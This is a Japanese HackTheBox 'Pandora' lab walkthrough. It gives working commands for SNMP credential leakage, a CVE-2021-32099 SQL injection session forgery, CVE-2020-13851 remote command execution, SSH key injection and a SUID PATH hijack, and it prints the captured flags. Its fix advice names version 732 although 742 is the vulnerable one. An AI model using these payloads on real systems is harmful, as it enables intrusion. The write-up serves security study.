HackTheBox: Pandora — 全実行コマンド・実行結果レポート
Nmap TCP+UDP
22/80 + 161(SNMP)
→
22/80 + 161(SNMP)
SNMPでプロセス引数漏洩
daniel:HotelBabylon23
→
daniel:HotelBabylon23
SSH as daniel
→
Pandora FMS SQLi
CVE-2021-32099 セッション偽装
→
CVE-2021-32099 セッション偽装
イベント応答RCE
CVE-2020-13851
→
CVE-2020-13851
matt シェル
user.txt ✓
→
user.txt ✓
SUID pandora_backup
tar 相対パス呼び出し
→
tar 相対パス呼び出し
SSH鍵注入 + PATH hijack
→
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
TCPポートスキャン
BASH
nmap -Pn -p- --min-rate 5000 -T4 --max-retries 3 10.129.90.126
RESULT
Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 1.39 seconds
BASH
nmap -sV -sC -p 22,80 10.129.90.126
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 24:c2:95:a5:c3:0b:3f:f3:17:3c:68:d7:af:2b:53:38 (RSA) | 256 b1:41:77:99:46:9a:6c:5d:d2:98:2f:c0:32:9a:ce:03 (ECDSA) |_ 256 e7:36:43:3b:a9:47:8a:19:01:58:b2:bc:89:f6:51:08 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Play | Landing |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ℹ️
TCPで見える範囲は
22(SSH) と 80(Apache、ランディングページ “Play”) の2つのみ。
Webアプリ自体には目立った攻撃面が無いため、UDPポートの確認が必須になる。
UDPポートスキャン — SNMP発見
BASH
sudo nmap -sU --top-ports 20 -T4 10.129.90.126
RESULT
68/udp open|filtered dhcpc
139/udp open|filtered netbios-ssn
161/udp open snmp
162/udp closed snmptrap
520/udp open|filtered route
4500/udp open|filtered nat-t-ike
🚨
重要発見: UDP 161 で SNMP が応答している。v1/v2c はコミュニティ文字列さえ分かれば
認証なしでホストの詳細情報(プロセス一覧・コマンドライン引数含む)を取得できることが多い。
まずは既定のコミュニティ文字列
public を試す。
PHASE 2
SNMP列挙 — プロセス引数からの平文資格情報漏洩
コミュニティ文字列 “public” での疎通確認
BASH
snmpget -v 2c -c public 10.129.90.126 .1.3.6.1.2.1.1.1.0
RESULT
iso.3.6.1.2.1.1.1.0 = STRING: "Linux pandora 5.4.0-x-generic #x-Ubuntu SMP ... x86_64"
✅
既定のコミュニティ文字列
public で読み取り可能。ホスト名から
“pandora”(Pandora FMS 監視ソフトウェアのラボ環境)であることが判明。
フルMIBウォークは低速 — hrSWRunParameters へ限定
NOTE
OIDを指定しないフルウォーク (snmpwalk -v 2c -c public <target>) は mib-2全体を辿るため、このホストのプロセス/ルーティングテーブルの 規模次第では数分以上かかりタイムアウトしやすい。 資格情報の漏洩元として狙うべきは HOST-RESOURCES-MIB の hrSWRunParameters サブツリー (.1.3.6.1.2.1.25.4.2.1.5) — 各プロセスの起動時コマンドライン引数が丸ごと格納されている。 ここに限定すれば必要な応答数は数百件程度まで減り、高速かつ 確実に完走する。
BASH
snmpwalk -v 2c -c public 10.129.90.126 .1.3.6.1.2.1.25.4.2.1.5
RESULT(抜粋 — 資格情報が露出している行)
iso.3.6.1.2.1.25.4.2.1.5.955 = STRING: "-c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'" iso.3.6.1.2.1.25.4.2.1.5.1133 = STRING: "-u daniel -p HotelBabylon23"
🚨
平文資格情報漏洩: 定期的に実行されるcronジョブ
/usr/bin/host_check -u daniel -p HotelBabylon23 の起動コマンドラインが
SNMP経由で丸見えになっている。SNMPはプロセスの引数(=ps auxで見える内容)を
root権限無しに誰でも読めてしまうため、パスワードをコマンドライン引数に
渡す実装は極めて危険というアンチパターンの典型例。
漏洩した資格情報
daniel : HotelBabylon23
PHASE 3
SSH as daniel & Pandora FMS (localhost限定) の発見
SSHログイン確認
BASH
sshpass -p 'HotelBabylon23' ssh daniel@10.129.90.126 id
RESULT
uid=1001(daniel) gid=1001(daniel) groups=1001(daniel)
Apache vhost設定の確認 — localhost限定のPandora FMS
BASH
daniel@pandora:~$ cat /etc/apache2/sites-enabled/pandora.conf
RESULT
<VirtualHost localhost:80> ServerAdmin admin@panda.htb ServerName pandora.panda.htb DocumentRoot /var/www/pandora AssignUserID matt matt <Directory /var/www/pandora> AllowOverride All </Directory> ErrorLog /var/log/apache2/error.log CustomLog /var/log/apache2/access.log combined </VirtualHost>
🚨
重要発見: 外部に見えていたポート80は
000-default.conf の静的サイトのみで、
本命の Pandora FMS コンソールは localhost:80 にのみバインドされている
(mpm-itk モジュールの AssignUserID matt matt により、このvhostは
matt権限で動作する点も後の権限昇格フェーズで重要になる)。
daniel からは直接アクセスできないため、SSHローカルポートフォワードでトンネルする。
SSHトンネル確立 & Pandora FMS到達確認
BASH
sshpass -p 'HotelBabylon23' ssh -f -N -L 9001:127.0.0.1:80 daniel@10.129.90.126
# → ローカルの 9001番ポートが、ターゲット内部の 127.0.0.1:80 (Pandora FMS) へ転送される
curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:9001/pandora_console/
RESULT
200 ← トンネル経由で Pandora FMS ログイン画面に到達(v7.0NG.742_FIX_PERL2020)
PHASE 4
SQLiセッション偽装 (CVE-2021-32099) → イベント応答RCE (CVE-2020-13851) → user.txt
chart_generator.php の session_id UNIONインジェクション
NOTE
Pandora FMS v7.0NG.742 の /include/chart_generator.php は、 $_REQUEST['session_id'] を PandoraFMS\User オブジェクトのコンストラクタへ サニタイズせずに渡しており (CVE-2021-32099)、UNION SELECT で tsessions_php テーブルの検索条件へ任意の文字列を注入できる。 狙いは、tsessions_php.data カラムに格納されるPHPセッション直列化 データを UNION の結果として書き込ませること: id_usuario|s:4:"matt"; これは「id_usuario(ログイン中ユーザー名)が4文字のmattである」という PHPセッションの直列化フォーマットそのもの。任意のセッションID (ここでは固定で "kcrpandora" を自分で決め打ち) に対してこの偽造 セッションデータを書き込ませ、同じ Cookie を使って index.php に アクセスし直すと、サーバー側がそのセッションファイルを matt としてログイン中であるかのように解釈してしまう。
BASH(SQLiペイロード送信 — セッションID偽装)
curl -s -H "Cookie: PHPSESSID=kcrpandora" \
"http://127.0.0.1:9001/pandora_console/include/chart_generator.php?session_id=kcrpandora%27%20union%20select%201%2C2%2C%27id_usuario%7Cs%3A4%3A%22matt%22%3B%27--%20-" \
-o /dev/null -w 'HTTP:%{http_code}\n'
BASH(同じCookieで再アクセスし”matt”としてログイン状態にする)
curl -s -H "Cookie: PHPSESSID=kcrpandora" \
"http://127.0.0.1:9001/pandora_console/index.php" -o /dev/null -w 'HTTP:%{http_code}\n'
RESULT
HTTP:200 HTTP:200
✅
セッション偽装成功。 以降
Cookie: PHPSESSID=kcrpandora を付けるだけで
matt としてログイン済み扱いになる。
ajax.php のイベント応答機能でOSコマンド実行 (CVE-2020-13851)
NOTE
Pandora FMS の「イベント応答(Event Response)」機能は、管理者が イベント発生時に実行するコマンドをあらかじめ登録しておく仕組みだが、 ajax.php の page=include/ajax/events エンドポイントに対して perform_event_response=10000000 (固定の"カスタムコマンド即時実行"ID) と target=<実行したいコマンド> を直接POSTすると、登録済みイベント応答を 経由せずにその場で任意コマンドを実行できてしまう (CVE-2020-13851)。 実行コンテキストは、このvhostを所有する matt ユーザー。
BASH(コマンド実行確認)
curl -s -H "Cookie: PHPSESSID=kcrpandora" -X POST \ --data-urlencode "page=include/ajax/events" \ --data-urlencode "perform_event_response=10000000" \ --data-urlencode "target=id" \ --data-urlencode "response_id=1" \ "http://127.0.0.1:9001/pandora_console/ajax.php"
RESULT
uid=1000(matt) gid=1000(matt) groups=1000(matt)
✅
RCE確立! matt ユーザーとして任意コマンドが実行できる。
user.txt 取得
BASH
curl -s -H "Cookie: PHPSESSID=kcrpandora" -X POST \ --data-urlencode "page=include/ajax/events" \ --data-urlencode "perform_event_response=10000000" \ --data-urlencode "target=cat /home/matt/user.txt" \ --data-urlencode "response_id=1" \ "http://127.0.0.1:9001/pandora_console/ajax.php"
RESULT
4bb51819174c29ca0b4e500048c44c88
user.txt — matt
4bb51819174c29ca0b4e500048c44c88
PHASE 5
権限昇格の下調べ — SUID pandora_backup の発見
SSH公開鍵をRCE経由で matt の authorized_keys に注入
BASH(ローカルで鍵ペア生成)
ssh-keygen -t ed25519 -f ./id_ed25519 -N ""
BASH(RCE経由で公開鍵を書き込み)
PUBKEY=$(cat ./id_ed25519.pub) curl -s -H "Cookie: PHPSESSID=kcrpandora" -X POST \ --data-urlencode "page=include/ajax/events" \ --data-urlencode "perform_event_response=10000000" \ --data-urlencode "target=mkdir -p /home/matt/.ssh && echo '$PUBKEY' > /home/matt/.ssh/authorized_keys && chmod 700 /home/matt/.ssh && chmod 600 /home/matt/.ssh/authorized_keys && echo DONE" \ --data-urlencode "response_id=1" \ "http://127.0.0.1:9001/pandora_console/ajax.php"
RESULT
DONE
⚠️
落とし穴:
>>(追記)ではなく >(上書き)で書き込むこと。
RCE経由でこのコマンドを何度も試行していると、追記のたびに公開鍵の末尾に改行が
付かないまま次の鍵が連結されてしまい、authorized_keys のフォーマットが
1行に潰れて壊れ、sshd がどの鍵も有効な公開鍵として解釈できなくなる
(SSH鍵認証が原因不明に Permission denied し続ける)。
毎回新しい一時鍵ペアを使うのであれば、素直に上書きしてしまうのが安全。
本物のSSHセッションで matt にログインし SUID 調査
BASH
ssh -i ./id_ed25519 matt@10.129.90.126 \ "id; find / -perm -4000 2>/dev/null -ls | grep -i pandora_backup"
RESULT
uid=1000(matt) gid=1000(matt) groups=1000(matt)
262929 20 -rwsr-x--- 1 root matt 16816 Dec 3 2021 /usr/bin/pandora_backup
🚨
重大発見:
/usr/bin/pandora_backup は root所有・SUIDビットあり・
matt グループのみ実行可(rwsr-x---)。matt グループに属する
自分から実行可能。
重要な注意点 — RCEシェル(mpm-itk)では権限昇格できない
NOTE
Pandora FMS の vhost は mpm-itk モジュール (AssignUserID matt matt) 配下で 動いている。mpm-itk はSUIDバイナリ経由でのroot昇格を防ぐため seccomp フィルタを独自にインストールしており、その副作用として mpm-itk 配下の 子プロセス(=RCEで実行したコマンド)からは setuid 系のSUIDバイナリが 一切「特権付きで」動作しない(sudo -l すら "setresuid(0, -1, -1): Operation not permitted" で失敗する)。 → pandora_backup のSUID権限を実際に活かすには、mpm-itk サンドボックスの 外側にある、本物のSSHセッション(5-2で確立済み)から実行する 必要がある。
BASH(SUIDバイナリの中身を”tar”の呼び出し方だけ確認)
ssh -i ./id_ed25519 matt@10.129.90.126 "pandora_backup" 2>&1 | head -5
RESULT
PandoraFMS Backup Utility Now attempting to backup PandoraFMS client tar: Removing leading `/' from member names ... Backup successful! Terminating program!
ℹ️
出力から内部で
tar コマンドを(絶対パス指定無しで)呼んでいることが分かる。
system() 等で tar を素のコマンド名のまま呼んでいる実装は、
呼び出し元の $PATH 環境変数をそのまま信用してしまう典型的な
PATHハイジャック(相対パス呼び出し)脆弱性。
PHASE 6
PATHハイジャック (pandora_backup → tar) → root.txt
偽の tar スクリプトを設置し PATH を差し替えて実行
BASH
ssh -i ./id_ed25519 matt@10.129.90.126 '
mkdir -p /dev/shm/.bin
printf "#!/bin/bash\ncat /root/root.txt > /tmp/manual_root.txt\nchmod 666 /tmp/manual_root.txt\n" \
> /dev/shm/.bin/tar
chmod +x /dev/shm/.bin/tar
PATH=/dev/shm/.bin:$PATH pandora_backup >/dev/null 2>&1
cat /tmp/manual_root.txt
'
RESULT
c6331ac2bd92f1ba87378c133338d8db
✅
root化成功! SUIDビット付きの
pandora_backup(root所有)が
$PATH 先頭に置いた偽 tar スクリプトをroot権限のまま実行し、
/root/root.txt を世界読み取り可能な一時ファイルへコピーさせることに成功した。
root.txt 取得 & 後片付け
BASH
cat /tmp/manual_root.txt # 後片付け ssh -i ./id_ed25519 matt@10.129.90.126 "rm -f /tmp/manual_root.txt /dev/shm/.bin/tar; rmdir /dev/shm/.bin"
RESULT
c6331ac2bd92f1ba87378c133338d8db
root.txt — root@pandora
c6331ac2bd92f1ba87378c133338d8db
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — matt
4bb51819174c29ca0b4e500048c44c88
root.txt — root@pandora
c6331ac2bd92f1ba87378c133338d8db
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| SNMPプロセス引数漏洩 | net-snmp (コミュニティ “public”) | 平文資格情報の漏洩 | Medium | hrSWRunParameters経由でcronジョブの -u daniel -p HotelBabylon23 引数を取得 |
| CVE-2021-32099 | Pandora FMS chart_generator.php | SQLインジェクション → セッション偽装 | Critical | session_id への UNION SELECT で tsessions_php に偽の直列化PHPセッションデータを書き込み、matt として認証バイパス |
| CVE-2020-13851 | Pandora FMS ajax.php (イベント応答) | リモートコード実行(matt権限) | Critical | perform_event_response=10000000 + target=<cmd> で任意OSコマンド実行、user.txt取得 |
| PATHハイジャック(相対パス呼び出し) | /usr/bin/pandora_backup (SUID root) | 権限昇格 (root) | High | 内部で絶対パス指定なしに呼ばれる tar を悪意あるスクリプトで差し替え、$PATH優先度を利用してroot権限で実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap TCP全ポート + UDP top-ports | 22/80(TCP)、161/udp(SNMP)検出 |
| 2 | SNMP列挙 | hrSWRunParameters限定スコープwalk | daniel:HotelBabylon23(cron引数から平文漏洩) |
| 3 | foothold | SSH + vhost設定確認 + SSHトンネル | Pandora FMS (localhost:80, mpm-itk/matt権限) 発見 |
| 4 | SQLi+RCE | CVE-2021-32099(セッション偽装)+ CVE-2020-13851(イベント応答RCE) | user.txt 取得(matt シェル) |
| 5 | 権限調査 | SUID調査 + mpm-itkサンドボックス回避(本物のSSHセッション使用) | SUID /usr/bin/pandora_backup の相対パス tar 呼び出しを特定 |
| 6 | PATHハイジャック | SSH鍵注入 + $PATH優先度を使った tar 差し替え | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| SNMPが既定コミュニティ文字列 “public” で誰でも読み取り可能、かつ平文パスワードをコマンドライン引数で渡すcronジョブが存在 | SNMP v3への移行または強固なコミュニティ文字列の設定とACL制限。シークレットは環境変数ファイルや資格情報マネージャ経由で渡し、コマンドライン引数に平文で埋め込まない(ps aux/SNMPのhrSWRunParametersで誰でも閲覧できるため)。 |
| Pandora FMS v7.0NG.742 に未修正のSQLインジェクション(CVE-2021-32099)とイベント応答RCE(CVE-2020-13851)が存在 | Pandora FMSを732以降の修正版へ速やかにアップグレードする。ユーザー入力をオブジェクトコンストラクタへ渡す前の厳格なサニタイズ、イベント応答機能への管理者権限チェックの強化。 |
| root所有SUIDバイナリ(pandora_backup)が内部で外部コマンド(tar)を絶対パス指定なしに呼び出している | SUID/SGIDバイナリ内で外部コマンドを呼ぶ際は必ず絶対パス(/usr/bin/tar等)を指定する。可能であれば実行前に $PATH を既知の安全な値にリセットする。 |

